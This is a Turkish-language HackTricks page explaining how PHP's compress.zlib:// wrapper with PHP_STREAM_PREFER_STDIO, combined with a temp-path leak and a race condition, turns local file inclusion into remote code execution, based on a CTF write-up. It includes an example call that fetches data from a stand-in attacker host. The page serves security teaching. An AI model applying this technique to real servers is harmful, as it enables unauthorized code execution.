2.2 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{{#include ../../banners/hacktricks-training.md}}
compress.zlib:// ve PHP_STREAM_PREFER_STDIO
compress.zlib:// protokolü kullanılarak açılan bir dosya, PHP_STREAM_PREFER_STDIO bayrağı ile, bağlantıya daha sonra gelen verileri aynı dosyaya yazmaya devam edebilir.
Bu, şu şekilde bir çağrının yapılabileceği anlamına gelir:
file_get_contents("compress.zlib://http://attacker.com/file")
http://attacker.com/file için bir istek göndereceğim, ardından sunucu isteğe geçerli bir HTTP yanıtı ile yanıt verebilir, bağlantıyı açık tutabilir ve daha sonra dosyaya yazılacak ek veriler gönderebilir.
Bu bilgiyi php-src kodunun main/streams/cast.c kısmında görebilirsiniz:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Yarış Durumu ile RCE
Bu CTF önceki hile kullanılarak çözüldü.
Saldırgan, kurban sunucunun saldırganın sunucusundan bir dosya okuma bağlantısı açmasını sağlayacak compress.zlib protokolünü kullanacaktır.
Bu bağlantı var olduğu sürece, saldırgan oluşturulan geçici dosyanın yolunu sızdıracaktır (sunucu tarafından sızdırılmıştır).
Bağlantı hala açıkken, saldırgan kontrol ettiği geçici dosyayı yükleyerek bir LFI'yi istismar edecektir.
Ancak, web sunucusunda <? içeren dosyaların yüklenmesini önleyen bir kontrol vardır. Bu nedenle, saldırgan bir Yarış Durumu istismar edecektir. Hala açık olan bağlantıda saldırgan, web sunucusu dosyanın yasaklı karakterleri içerip içermediğini kontrol ettikten SONRA PHP yükünü gönderecektir ama içeriğini yüklemeden ÖNCE.
Daha fazla bilgi için Yarış Durumu ve CTF'nin açıklamasına bakın https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{{#include ../../banners/hacktricks-training.md}}